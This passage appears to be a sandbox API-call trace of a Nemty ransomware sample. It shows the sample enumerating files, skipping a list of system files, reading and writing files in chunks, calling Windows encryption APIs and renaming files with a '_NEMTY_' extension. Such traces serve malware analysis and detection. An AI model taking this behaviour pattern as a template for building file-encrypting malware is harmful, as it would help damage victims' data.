dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.597] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.606] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.606] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.606] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.615] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.615] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.615] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.625] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.625] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.625] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.634] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.634] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.634] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.646] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.646] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.646] CloseHandle (hObject=0xffffffff) returned 0 [0159.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0159.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.646] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0159.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0159.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0159.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up_bidi.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up_BIDI.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up_bidi.png._nemty_kgobjgd_")) returned 0 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.647] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.647] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x876ef911, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x876ef911, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afc6355, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xafe, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="divider-horizontal.png", cAlternateFileName="")) returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2=".") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="..") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="...") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="windows") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="$RECYCLE.BIN") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="rsa") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="NTDETECT.COM") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="ntldr") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="MSDOS.SYS") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="IO.SYS") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="boot.ini") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="boot.ini") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="ntuser.dat") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="desktop.ini") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="CONFIG.SYS") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="RECYCLER") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="BOOTSECT.BAK") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="bootmgr") returned 1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="programdata") returned -1 [0159.647] lstrcmpiW (lpString1="divider-horizontal.png", lpString2="appdata") returned 1 [0159.647] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-horizontal.png", lpUsedDefaultChar=0x0) returned 22 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-horizontal.png", lpUsedDefaultChar=0x0) returned 22 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-horizontal.png", lpUsedDefaultChar=0x0) returned 22 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.648] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="divider-horizontal.png", cchWideChar=22, lpMultiByteStr=0x4f9ed58, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="divider-horizontal.png", lpUsedDefaultChar=0x0) returned 22 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.648] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0159.648] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.648] Sleep (dwMilliseconds=0x5) [0159.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12d05dd0, dwHighDateTime=0x1d561e8)) [0159.664] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12d05dd0, dwHighDateTime=0x1d561e8)) [0159.664] GetLastError () returned 0x5 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.664] GetLastError () returned 0x5 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.664] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.664] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.664] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.664] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="4/fxG4bnbeE26U9rTUnokIQ5jghiJyUlo/G4oMCh8QxNVoXC536uxOb7rv+0+148\r\n7f1alNS3i3XoPRzQnzf759ZQn5/V5ZPwFcSLfiW0bvBwR7x5Bh0SvcuWeeyQth22\r\nHuijipBa3/Vs9JG0dEaHlWkgIJ9PQH7/ULFmtqFoB7MXm4uzSTq8u5+A4Cs+PQvL\r\nTNx3qmRzHG9LD58ffgMIWJ/+0VX2Oq+hSY+SuG2jOOcu5fJu3WUK5kSdGFyIUpRC\r\n2gnzyJQ7TKEoW/Y4ToUsKwKENdpmLrCGAol7efYJtuonOdJSy3dHg9i3MELA+TvM\r\na6sBUxHxrjc9KmA7nXwNTA==\r\n", pcchString=0x653e91c) returned 1 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.664] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.664] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.664] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\divider-horizontal.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\divider-horizontal.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.665] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.665] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.665] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.665] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.674] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.674] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.683] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.683] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.683] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.692] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.692] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.692] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.701] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.701] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.701] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.710] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.710] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.711] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.711] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.720] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.720] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.720] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.729] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.729] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.729] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.738] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.738] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.738] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.747] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.747] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, 